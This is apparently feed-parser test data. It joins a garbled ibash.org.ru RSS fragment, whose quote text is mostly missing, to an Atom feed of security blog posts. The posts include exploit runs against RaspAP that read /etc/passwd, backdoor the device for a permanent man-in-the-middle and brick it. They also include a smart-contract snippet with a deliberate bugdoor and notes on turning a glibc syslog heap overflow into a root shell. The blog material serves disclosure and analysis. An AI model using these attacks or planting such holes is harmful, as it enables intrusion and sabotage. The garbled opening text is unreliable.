http://ibash.org.ru/quote.php?id=17475
#17475Thu, 15 Mar 2018 10:05:41 +0300<L29Ah> yay <Minoru> *g++? ?]]>http://ibash.org.ru/quote.php?id=17430
http://ibash.org.ru/quote.php?id=17430
#17430Thu, 15 Mar 2018 09:59:50 +0300yyy: , , ]]>http://ibash.org.ru/quote.php?id=17419
http://ibash.org.ru/quote.php?id=17419
#17419Thu, 15 Mar 2018 09:59:01 +0300 xx: proxmox windows , . yy: . .]]>http://ibash.org.ru/quote.php?id=17414
http://ibash.org.ru/quote.php?id=17414
#17414Thu, 15 Mar 2018 09:58:30 +0300http://ibash.org.ru/quote.php?id=17396
http://ibash.org.ru/quote.php?id=17396
#17396Thu, 15 Mar 2018 09:56:44 +0300- ? - , , ? - ? - ? ! - Emoji? - ! !]]>http://ibash.org.ru/quote.php?id=17394
http://ibash.org.ru/quote.php?id=17394
#17394Thu, 15 Mar 2018 09:56:28 +0300 yyy: , , , , . , , .]]>http://ibash.org.ru/quote.php?id=17386
http://ibash.org.ru/quote.php?id=17386
#17386Thu, 15 Mar 2018 09:55:30 +0300 SELECT * FROM cars;
=) 1 4 , duzorg: , ))) duzorg: ... ... Funkryer: , , !]]>http://ibash.org.ru/quote.php?id=17220
http://ibash.org.ru/quote.php?id=17220
#17220Thu, 15 Mar 2018 09:16:48 +0300xxx: :( xxx: , ]]>
v2-2.2.5/internal/reader/parser/testdata/large_atom.xml 0000664 0000000 0000000 00000563131 14743520056 0023105 0 ustar 00root root 0000000 0000000
Artificial truthhttps://dustri.org/b/2024-03-10T17:15:00+01:00Using vale with vim2024-03-10T17:15:00+01:002024-03-10T17:15:00+01:00jvoisintag:dustri.org,2024-03-10:/b/using-vale-with-vim.html<p><a href="https://en.wikipedia.org/wiki/LWN.net">LWN</a> recently published an excellent
(subscriber only) <a href="https://lwn.net/Articles/964075/">article</a> on
<a href="https://vale.sh/">vale</a>, an <em>editorial style</em> linter. One of the original goal
of this little corner on the internet was to improve my English, a purpose it
keeps serving. Adding some lightweight tooling to my text editor to push this
goal even further …</p><p><a href="https://en.wikipedia.org/wiki/LWN.net">LWN</a> recently published an excellent
(subscriber only) <a href="https://lwn.net/Articles/964075/">article</a> on
<a href="https://vale.sh/">vale</a>, an <em>editorial style</em> linter. One of the original goal
of this little corner on the internet was to improve my English, a purpose it
keeps serving. Adding some lightweight tooling to my text editor to push this
goal even further sounds great.</p>
<p>Like all good software, vale <a href="https://gitlab.alpinelinux.org/alpine/aports/-/tree/master/testing/vale">is
packaged</a>
in Alpine, although it looked a tad neglected, so I sent <a href="https://gitlab.alpinelinux.org/alpine/aports/-/merge_requests/61919">a
pull-request</a>
to get it updated.
Its configuration is pretty straightforward: a <code>~/.vale.ini</code> file, with
where to store/read its data and some preferences. It comes with a
<a href="https://vale.sh/hub/">couple of <em>packages</em></a> for popular styles, like the ones
from <a href="https://vale.sh/hub/microsoft/">Microsoft</a>,
<a href="https://vale.sh/hub/google/">Google</a>, <a href="https://vale.sh/hub/redhat/">RedHat</a>, … then a simple <code>vale sync</code> to force it to
download and store the data, and you're good to go.</p>
<p>While <code>vale</code> can be called from the command line, integration with my text
editor is way more comfy. I'm sure there are a ton of plugins to integrate it
with vim, but I'm not a huge fan of having my text editor run arbitrary code
from the internet, so I threw the following 6 lines in <a href="https://dustri.org/pub/vimrc">my vimrc</a> instead:</p>
<div class="codehilite"><pre><span></span><code><span class="nv">augroup</span><span class="w"> </span><span class="nv">vale</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nv">filereadable</span><span class="ss">(</span><span class="nv">expand</span><span class="ss">(</span><span class="s2">"~/.vale.ini"</span><span class="ss">))</span>
<span class="w"> </span><span class="nv">autocmd</span><span class="w"> </span><span class="nv">FileType</span><span class="w"> </span><span class="nv">markdown</span><span class="w"> </span><span class="nv">setlocal</span><span class="w"> </span><span class="nv">makeprg</span><span class="o">=</span><span class="nv">vale</span>\<span class="w"> </span><span class="o">--</span><span class="nv">output</span><span class="o">=</span><span class="nv">line</span>\<span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="nv">errorformat</span><span class="o">=%</span><span class="nv">f</span>:<span class="o">%</span><span class="nv">l</span>:<span class="o">%</span><span class="nv">c</span>:<span class="o">%</span><span class="nv">o</span>:<span class="o">%</span><span class="nv">m</span>
<span class="w"> </span><span class="nv">nnoremap</span><span class="w"> </span><span class="o"><</span><span class="nv">Leader</span><span class="o">></span><span class="nv">M</span><span class="w"> </span>:<span class="nv">make</span><span class="o"><</span><span class="nv">CR</span><span class="o">><</span><span class="nv">CR</span><span class="o">></span>
<span class="w"> </span><span class="k">end</span>
<span class="nv">augroup</span><span class="w"> </span><span class="k">end</span>
</code></pre></div>
<p>It checks if I have a <code>~/vale.ini</code> file, and if so sets
<a href="https://vimhelp.org/options.txt.html#%27makeprg%27"><code>makeprg</code></a> to vale, and
configure <a href="https://vimhelp.org/quickfix.txt.html#errorformat"><code>errorformat</code></a> to
properly parse vale's output. Now every time I type <code><Leader> M</code>, I get vale's
diagnostics in my <a href="https://vimhelp.org/quickfix.txt.html">quickfix window</a>.</p>
<p>The next steps would likely be to <s>waste</s> spend some time improving the theme
of the aforementioned window, add some ad hoc rules to vale, and maybe try to
show the diagnostics inline like the spellechecker is doing.</p>Carrot disclosure2024-03-08T21:30:00+01:002024-03-08T21:30:00+01:00jvoisintag:dustri.org,2024-03-08:/b/carrot-disclosure.html<p>Once you have found a vulnerability, you can either sit on it, or disclose it.
There are usually two ways to disclose, with minor variations:</p>
<ol>
<li><a href="https://en.wikipedia.org/wiki/Coordinated_vulnerability_disclosure">Coordinated Disclosure</a>,
where one gives time to the vendor to issue a fix before disclosing</li>
<li><a href="https://en.wikipedia.org/wiki/Full_disclosure_(computer_security)">Full Disclosure</a>,
where one discloses immediately without notifying anyone before …</li></ol><p>Once you have found a vulnerability, you can either sit on it, or disclose it.
There are usually two ways to disclose, with minor variations:</p>
<ol>
<li><a href="https://en.wikipedia.org/wiki/Coordinated_vulnerability_disclosure">Coordinated Disclosure</a>,
where one gives time to the vendor to issue a fix before disclosing</li>
<li><a href="https://en.wikipedia.org/wiki/Full_disclosure_(computer_security)">Full Disclosure</a>,
where one discloses immediately without notifying anyone before.</li>
</ol>
<p>I would like to coin a 3<sup>rd</sup> one: <em>Carrot Disclosure</em>, dangling a
<a href="https://en.wikipedia.org/wiki/Carrot_and_stick">metaphorical carrot</a> in front
of the vendor to incentivise change. The main idea is to only publish the
(redacted) output of the exploit for a critical vulnerability, to showcase that the
software is exploitable. Now the vendor has two choices: either perform a
holistic audit of its software, fixing as many issues as possible in the hope
of fixing the showcased vulnerability; or losing users who might not be happy
running a known-vulnerable software. Users of this disclosure model are of
course called Bugs Bunnies.</p>
<p>We all looked at catastrophic web applications, finding a ton
of bugs, and deciding not to bother with reporting them, because they were too
many of them, because we knew that there will be more of them lurking, because
the vendor is a complete tool and it would take more time trying to properly
disclose things than it took finding the vulnerabilities, … This is an
excellent use case for Carrot Disclosure! Of course, for unauditably-large
codebases, it doesn't work: you've got a Linux LPE, who cares.</p>
<p>Interestingly, it shifts the work balance a bit: it's usually harder to write
an exploit than it's to fix here. But here, the vendor has to audit and fix
its entire codebase, for the ~low cost of one (1) exploit, that you don't even
have to publish if you don't want to.</p>
<p>If you want to be extra-nice, you can:</p>
<ul>
<li>Publish the SHA256 of the exploit, to prove
that you weren't making things up, once it's fixed or if you get sued for
whatever frivolous reasons like libel.</li>
<li>Maintain the exploits against new versions, proving that the exploit is still
working.</li>
<li>Publish the exploit once it has been fixed, otherwise you risk to have
vendors call your bluff next time, or at least notify that the issue has been
fixed. Since you don't have hardcoded offsets because we're in 2024, you can even
put this in a continuous integration.</li>
</ul>
<p>Let's have an example, as a treat. A couple of shitty vulnerabilities for
<a href="https://raspap.com/">RaspAP</a> that took me 5 minutes to find and at least 5
more to write an exploit for each of them:</p>
<div class="codehilite"><pre><span></span><code><span class="gp">$ </span>./read-raspap.py<span class="w"> </span><span class="m">10</span>.3.141.1<span class="w"> </span>/etc/passwd<span class="w"> </span><span class="p">|</span><span class="w"> </span>head<span class="w"> </span>-n<span class="w"> </span><span class="m">5</span>
<span class="go">[+] Target is running RaspAP</span>
<span class="go">[+] Dumping /etc/passwd</span>
<span class="go">root:x:0:0:root:/root:/bin/bash</span>
<span class="go">daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</span>
<span class="go">bin:x:2:2:bin:/bin:/usr/sbin/nologin</span>
<span class="gp">$ </span>./authed-mitm-raspap.py<span class="w"> </span><span class="m">10</span>.3.141.1
<span class="go">[+] default login/password in use</span>
<span class="go">[+] backdooring system…</span>
<span class="go">[+] system backdoored, enjoy your permanent MITM!</span>
<span class="gp">$ </span>./brick-raspap.py<span class="w"> </span><span class="m">10</span>.3.141.1
<span class="go">[+] Target is running RaspAP</span>
<span class="go">[+] Bricking the system…</span>
<span class="go">[+] System bricked!</span>
<span class="gp">$</span>
</code></pre></div>
<p>It looks like there is a low-hanging unauthenticated arbitrary code execution
chainable with a privilege escalation to root as well, but since writing an
exploit would take more than 5 minutes, I can't be bothered, and odds are that
it'll be fixed along with the persistent denial-of-service anyway. Let me know
when you think those are fixed.</p>Youtube video embedding harm reduction2024-02-27T14:45:00+01:002024-02-27T14:45:00+01:00jvoisintag:dustri.org,2024-02-27:/b/youtube-video-embedding-harm-reduction.html<p>Embedding external content on a website in the current enshittocene period is
more annoying than ever, so here is a copy-pasteable snippet to embed a youtube
video while reducing its tracking and nuisance capabilities as much as possible:</p>
<div class="codehilite"><pre><span></span><code><span class="p"><</span><span class="nt">iframe</span>
<span class="na">credentialless</span>
<span class="na">allowfullscreen</span>
<span class="na">referrerpolicy</span><span class="o">=</span><span class="s">"no-referrer"</span>
<span class="na">sandbox</span><span class="o">=</span><span class="s">"allow-scripts allow-same-origin"</span>
<span class="na">allow</span><span class="o">=</span><span class="s">"accelerometer 'none'; ambient-light-sensor …</span></code></pre></div><p>Embedding external content on a website in the current enshittocene period is
more annoying than ever, so here is a copy-pasteable snippet to embed a youtube
video while reducing its tracking and nuisance capabilities as much as possible:</p>
<div class="codehilite"><pre><span></span><code><span class="p"><</span><span class="nt">iframe</span>
<span class="na">credentialless</span>
<span class="na">allowfullscreen</span>
<span class="na">referrerpolicy</span><span class="o">=</span><span class="s">"no-referrer"</span>
<span class="na">sandbox</span><span class="o">=</span><span class="s">"allow-scripts allow-same-origin"</span>
<span class="na">allow</span><span class="o">=</span><span class="s">"accelerometer 'none'; ambient-light-sensor 'none'; autoplay 'none'; battery 'none'; bluetooth 'none'; browsing-topics 'none'; camera 'none'; ch-ua 'none'; display-capture 'none'; domain-agent 'none'; document-domain 'none'; encrypted-media 'none'; execution-while-not-rendered 'none'; execution-while-out-of-viewport 'none'; gamepad 'none'; geolocation 'none'; gyroscope 'none'; hid 'none'; identity-credentials-get 'none'; idle-detection 'none'; keyboard-map 'none'; local-fonts 'none'; magnetometer 'none'; microphone 'none'; midi 'none'; navigation-override 'none'; otp-credentials 'none'; payment 'none'; picture-in-picture 'none'; publickey-credentials-create 'none'; publickey-credentials-get 'none'; screen-wake-lock 'none'; serial 'none'; speaker-selection 'none'; sync-xhr 'none'; usb 'none'; web-share 'none'; window-management 'none'; xr-spatial-tracking 'none'"</span><span class="err">,</span>
<span class="na">csp</span><span class="o">=</span><span class="s">"sandbox allow-scripts allow-same-origin;"</span>
<span class="na">width</span><span class="o">=</span><span class="s">"560"</span>
<span class="na">height</span><span class="o">=</span><span class="s">"315"</span>
<span class="na">src</span><span class="o">=</span><span class="s">"https://www.youtube-nocookie.com/embed/jfKfPfyJRdk"</span>
<span class="na">title</span><span class="o">=</span><span class="s">"lofi hip hop radio 📚 - beats to relax/study to"</span>
<span class="na">frameborder</span><span class="o">=</span><span class="s">"0"</span>
<span class="na">loading</span><span class="o">=</span><span class="s">"lazy"</span>
<span class="p">></</span><span class="nt">iframe</span><span class="p">></span>
</code></pre></div>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/Security/IFrame_credentialless"><code>credentialless</code></a> to load youtube in a blank disposable context,
without access to the origin's network, cookies, and storage data.</li>
<li><code>allowfullscreen</code> because some people like it</li>
<li><code>referrerpolicy</code> set to not leak your <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer">referer</a></li>
<li><code>sandbox</code> to only allow javascript execution and SOP. Downloads, forms,
modals, screen orientation, pointer lock, popups, presentation session,
<a href="https://developer.mozilla.org/en-US/docs/Web/API/Storage_Access_API">storage access</a> and thus third-party cookies,
top-navigation, … are all denied.</li>
<li><code>allow</code> with <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy#directives">every single directives</a>
set to "absolutely-fucking-not", and yes, they have to be all set one by one,
and check regularly is new directive were added,
because there is <a href="https://github.com/w3c/webappsec-permissions-policy/issues/208">no deny-all</a>
in the <a href="https://w3c.github.io/webappsec-permissions-policy/">spec</a>. It seems
that every browser has its own list of directives, chrome is using <a href="https://github.com/w3c/webappsec-permissions-policy/blob/main/features.md">this one</a>
while firefox' prefers the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy#directives">MDN one</a>,
and of course the two differ. No doubt this was designed with privacy, simplicity, maintainability and security in mind.</li>
<li><code>src</code> set to <code>www.youtube-nocookie.com</code> instead of <code>youtube.com</code>. Both
are official Google urls, but the former doesn't do tracking via cookies,
and disables API and interaction and interaction logging. Amusingly, it's
the player used on <code>whitehouse.gov</code>.</li>
<li><code>csp</code> set to <code>sandbox allow-scripts allow-same-origin;</code> for compatibility's
sake, just in case.
I'd love to use a more restrictive policy, but the spec doesn't allow to
provide one, except if the embedded website explicitly allows it, and of
course youtube doesn't.</li>
<li><code>loading="lazy"</code> in case people don't scroll far enough to see the video, no
need to make them do queries to Google for no reasons.</li>
</ul>
<p>Don't forget to put a <code>title</code> for <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#accessibility_concerns">accessibility's sake</a>.</p>A silly "smart" contract bug2024-02-16T13:30:00+01:002024-02-16T13:30:00+01:00jvoisintag:dustri.org,2024-02-16:/b/a-silly-smart-contract-bug.html<p>I was idling on a <a href="https://github.com/stypr">friend</a>'s Discord server,
when he posted a small snippet of code, taken from a <a href="https://app.sentio.xyz/tx/1/0x4b9de8c56c8919e8598181449a3cc02df40435eb641eaec08ecce12d2342237f/contracts">smart contract</a>
apparently swapping <a href="https://academy.binance.com/en/articles/what-is-wrapped-ether-weth-and-how-to-wrap-it">WETH</a> to <a href="https://miner.build/">MINER</a>, but who cares, what's
interesting here is the bug, can you spot it?</p>
<div class="codehilite"><pre><span></span><code><span class="kt">function</span><span class="w"> </span><span class="nv">_update</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">from</span><span class="p">,</span><span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="nv">to</span><span class="p">,</span><span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="nv">value</span><span class="p">,</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="nv">mint …</span></code></pre></div><p>I was idling on a <a href="https://github.com/stypr">friend</a>'s Discord server,
when he posted a small snippet of code, taken from a <a href="https://app.sentio.xyz/tx/1/0x4b9de8c56c8919e8598181449a3cc02df40435eb641eaec08ecce12d2342237f/contracts">smart contract</a>
apparently swapping <a href="https://academy.binance.com/en/articles/what-is-wrapped-ether-weth-and-how-to-wrap-it">WETH</a> to <a href="https://miner.build/">MINER</a>, but who cares, what's
interesting here is the bug, can you spot it?</p>
<div class="codehilite"><pre><span></span><code><span class="kt">function</span><span class="w"> </span><span class="nv">_update</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">from</span><span class="p">,</span><span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="nv">to</span><span class="p">,</span><span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="nv">value</span><span class="p">,</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="nv">mint</span><span class="p">)</span><span class="w"> </span><span class="kt">internal</span><span class="w"> </span>virtual<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="nv">fromBalance</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>_balances<span class="p">[</span>from<span class="p">];</span>
<span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="nv">toBalance</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>_balances<span class="p">[</span>to<span class="p">];</span>
<span class="w"> </span><span class="kt">if</span><span class="w"> </span><span class="p">(</span>fromBalance<span class="w"> </span><span class="o"><</span><span class="w"> </span>value<span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span>revert<span class="w"> </span>ERC20InsufficientBalance<span class="p">(</span>from<span class="p">,</span><span class="w"> </span>fromBalance<span class="p">,</span><span class="w"> </span>value<span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span>unchecked<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="c1">// Overflow not possible: value <= fromBalance <= totalSupply.</span>
<span class="w"> </span>_balances<span class="p">[</span>from<span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>fromBalance<span class="w"> </span><span class="o">-</span><span class="w"> </span>value<span class="p">;</span>
<span class="w"> </span><span class="c1">// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.</span>
<span class="w"> </span>_balances<span class="p">[</span>to<span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>toBalance<span class="w"> </span><span class="o">+</span><span class="w"> </span>value<span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
</code></pre></div>
<p>As a hint, look at <a href="https://app.sentio.xyz/tx/1/0x4b9de8c56c8919e8598181449a3cc02df40435eb641eaec08ecce12d2342237f">this transaction</a>.
Isn't it a cute bugdoor?</p>
<p>The snippet is taken from <a href="https://twitter.com/shoucccc/status/1757777764646859121">this tweet</a>,
giving the issue away. Thanks to <a href="https://github.com/kjsman">Jinseo Kim</a> for holding my hand
understanding what was going on there.</p>Fixing the /usr/lib/ssl/certs debacle with Alpine Linux on Proxmox2024-02-05T17:00:00+01:002024-02-05T17:00:00+01:00jvoisintag:dustri.org,2024-02-05:/b/fixing-the-usrlibsslcerts-debacle-with-alpine-linux-on-proxmox.html<p>There are currently some issues with regard to OpenSSL and Alpine Linux on
Proxmox, tracked as <a href="https://bugzilla.proxmox.com/show_bug.cgi?id=5194">#5194</a> by Promox since the 19<sup>th</sup> of January, with some patches sent by
email (sigh) to fix the issue still waiting to land. The root cause being
Proxmox setting <code>SSL_CERT_FILE='/usr/lib/ssl …</code></p><p>There are currently some issues with regard to OpenSSL and Alpine Linux on
Proxmox, tracked as <a href="https://bugzilla.proxmox.com/show_bug.cgi?id=5194">#5194</a> by Promox since the 19<sup>th</sup> of January, with some patches sent by
email (sigh) to fix the issue still waiting to land. The root cause being
Proxmox setting <code>SSL_CERT_FILE='/usr/lib/ssl/cert.pem'</code> when <code>pct enter</code> is
used, while on Alpine the <code>cert.pem</code> file is in <code>/etc/ssl/cert.pem</code>.</p>
<p>In the meantime, here is what the problem looks like (for
<a href="https://en.wikipedia.org/wiki/Search_engine_optimization">SEO</a>) and how to
hack around it: </p>
<div class="codehilite"><pre><span></span><code><span class="go">root@pve ~ pct enter 122</span>
<span class="gp"># </span>apk<span class="w"> </span>update
<span class="go">fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/main/x86_64/APKINDEX.tar.gz</span>
<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span>
<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span>
<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span>
<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span>
<span class="go">48AB2E51FA7F0000:error:0A000086:SSL routines:tls_post_process_server_certificate:certificate verify failed:ssl/statem/statem_clnt.c:1889:</span>
<span class="go">WARNING: updating and opening https://dl-cdn.alpinelinux.org/alpine/v3.18/main: Permission denied</span>
<span class="go">fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/community/x86_64/APKINDEX.tar.gz</span>
<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span>
<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span>
<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span>
<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span>
<span class="go">48AB2E51FA7F0000:error:0A000086:SSL routines:tls_post_process_server_certificate:certificate verify failed:ssl/statem/statem_clnt.c:1889:</span>
<span class="go">WARNING: updating and opening https://dl-cdn.alpinelinux.org/alpine/v3.18/community: Permission denied</span>
<span class="go">4 unavailable, 0 stale; 30 distinct packages available</span>
<span class="gp"># </span>^D
<span class="go">root@pve ~ lxc-attach -n 122 </span>
<span class="gp"># </span>apk<span class="w"> </span>update<span class="p">;</span><span class="w"> </span>apk<span class="w"> </span>upgrade
<span class="go">fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/main/x86_64/APKINDEX.tar.gz</span>
<span class="go">fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/community/x86_64/APKINDEX.tar.gz</span>
<span class="go">v3.18.6-10-g1bb71e18dfb [https://dl-cdn.alpinelinux.org/alpine/v3.18/main]</span>
<span class="go">v3.18.6-9-g41de282e84d [https://dl-cdn.alpinelinux.org/alpine/v3.18/community]</span>
<span class="go">OK: 20069 distinct packages available</span>
<span class="go">OK: 10 MiB in 30 packages</span>
<span class="gp"># </span>^D
<span class="go">root@pve 16:58 ~ </span>
</code></pre></div>
<p>tl;dr: <code>lxc attach -n 123</code> instead of <code>pct enter 123</code></p>Musings on CVE-2023-6246 on hardened_malloc2024-01-31T02:00:00+01:002024-01-31T02:00:00+01:00jvoisintag:dustri.org,2024-01-31:/b/musings-on-cve-2023-6246-on-hardened_malloc.html<p>Qualys' <s>security team</s> Threat Research Unit <a href="https://seclists.org/oss-sec/2024/q1/68">published</a>
a couple of hours ago a linear two-step heap buffer overflow in glibc's
<code>syslog()</code>:</p>
<div class="codehilite"><pre><span></span><code><span class="mi">206</span><span class="w"> </span><span class="n">buf</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">malloc</span><span class="w"> </span><span class="p">((</span><span class="n">bufsize</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">sizeof</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="p">));</span>
<span class="p">...</span>
<span class="mi">213</span><span class="w"> </span><span class="n">__snprintf</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="w"> </span><span class="n">l</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span>
<span class="mi">214</span><span class="w"> </span><span class="n">SYSLOG_HEADER</span><span class="w"> </span><span class="p">(</span><span class="n">pri</span><span class="p">,</span><span class="w"> </span><span class="n">timestamp</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">msgoff</span><span class="p">,</span><span class="w"> </span><span class="n">pid</span><span class="p">));</span>
<span class="p">...</span>
<span class="mi">221</span><span class="w"> </span><span class="n">__vsnprintf_internal</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">l</span><span class="p">,</span><span class="w"> </span><span class="n">bufsize</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">l</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="n">fmt</span><span class="p">,</span><span class="w"> </span><span class="n">apc</span><span class="p">,</span>
<span class="mi">222</span><span class="w"> </span><span class="n">mode_flags …</span></code></pre></div><p>Qualys' <s>security team</s> Threat Research Unit <a href="https://seclists.org/oss-sec/2024/q1/68">published</a>
a couple of hours ago a linear two-step heap buffer overflow in glibc's
<code>syslog()</code>:</p>
<div class="codehilite"><pre><span></span><code><span class="mi">206</span><span class="w"> </span><span class="n">buf</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">malloc</span><span class="w"> </span><span class="p">((</span><span class="n">bufsize</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">sizeof</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="p">));</span>
<span class="p">...</span>
<span class="mi">213</span><span class="w"> </span><span class="n">__snprintf</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="w"> </span><span class="n">l</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span>
<span class="mi">214</span><span class="w"> </span><span class="n">SYSLOG_HEADER</span><span class="w"> </span><span class="p">(</span><span class="n">pri</span><span class="p">,</span><span class="w"> </span><span class="n">timestamp</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">msgoff</span><span class="p">,</span><span class="w"> </span><span class="n">pid</span><span class="p">));</span>
<span class="p">...</span>
<span class="mi">221</span><span class="w"> </span><span class="n">__vsnprintf_internal</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">l</span><span class="p">,</span><span class="w"> </span><span class="n">bufsize</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">l</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="n">fmt</span><span class="p">,</span><span class="w"> </span><span class="n">apc</span><span class="p">,</span>
<span class="mi">222</span><span class="w"> </span><span class="n">mode_flags</span><span class="p">);</span>
</code></pre></div>
<p>the tl;dr is that <code>bufsize</code> is <code>0</code> while <code>l</code> is user-controlled.
As mentioned in the advisory, messing with nss structures as done
in their (phenomenal) <a href="https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt"><code>Baron Samedit</code> sudo
exploit</a>
is a good way to get a root shell on the glibc.</p>
<p>While the bug is in glibc's <code>syslog</code>, it's not unheard of for
people to run custom allocators for performance/security/speed/… reasons.
One of those could be, for example, <a href="https://github.com/GrapheneOS/hardened_malloc">hardened_malloc</a>,
<a href="https://grapheneos.org">GrapheneOS</a>'s security-focused allocator, raising
the question "would <code>hardened_malloc</code> make this particular bug
unexploitable on my x86_64 Debian machine?"</p>
<p>After discussing this with friends, we don't <em>think</em> that it makes
the bug completely unexploitable, but ridiculously complicated, which is good
enough™ for me. But keep in mind that this "analysis" was done hastily at 2am,
so caveat lector.</p>
<p><code>hardened_malloc</code> uses size-based slabs isolation, popularised by
<a href="https://chromium.googlesource.com/chromium/src/+/master/base/allocator/partition_allocator/PartitionAlloc.md">PartitionAlloc</a>.
Since <code>bufsize</code> is zero, this is a 1-byte
allocation, falling into the
<a href="https://github.com/GrapheneOS/hardened_malloc/blob/main/h_malloc.c#L147">16 bytes size-class</a>,
the smallest after the special <code>0</code> one. So to exploit this, one would have to find an
interesting object of size 16 bytes or lower to overwrite. But since
canaries are enabled by default, this becomes even more difficult: sizes of
allocations are actually bumped by 8 bytes, meaning that one would actually
have to find an interesting object of size 8 bytes or lower.</p>
<p>Moreover, 16-byte slabs can contain at most 256 allocations, and are
surrounded by guard pages, meaning that accessing anything below <code>buf</code> and
above <code>buf+(256*16)</code> will result in a crash.</p>
<p>Allocations are randomized, which might help for bruteforcing the heap layout:
if the current one isn't exploitable, just crash and start again. But it will
also result in a lot more crashes, since <code>buf</code> might be allocated closer to
the guard page.</p>
<p>There are of course other mitigations, but they aren't relevant in this
particular case, like canaries that are checked on <code>free</code>,
or <a href="https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/enhanced-security-through-mte">ARM's MTE</a> that completely kills linear-overflows.</p>
<p>Given the ludicrous amount of randomization <code>hardened_malloc</code> applies to heap bases (32G
per region), bruteforcing offsets of anything not on the heap is futile.
So one would have to find something interesting in an object of 8 bytes or less on
the heap, like a path to corrupt as in <code>service_user</code>,
or some partial-overwrite of a function-pointer to call a
<a href="https://david942j.blogspot.com/2017/02/project-one-gadget-in-glibc.html">one-shot-gadget</a>, …</p>
<p>Thanks to <code>strcat</code> for the handholding, and
to <code>jdoe</code>, <code>drvink</code> and <code>J</code> for their diligent proofreading,</p>Paper notes: RetSpill2024-01-18T16:45:00+01:002024-01-18T16:45:00+01:00jvoisintag:dustri.org,2024-01-18:/b/paper-notes-retspill.html<ul>
<li>Full title: RetSpill: Igniting User-Controlled Data to Burn Away Linux Kernel Protections</li>
<li>PDF: <a href="https://dl.acm.org/doi/10.1145/3576915.3623220">ACM</a> —
<a href="https://kylebot.net/papers/retspill.pdf">mirror</a> —
<a href="https://dustri.org/b/files/papers/retspill.pdf">local mirror</a></li>
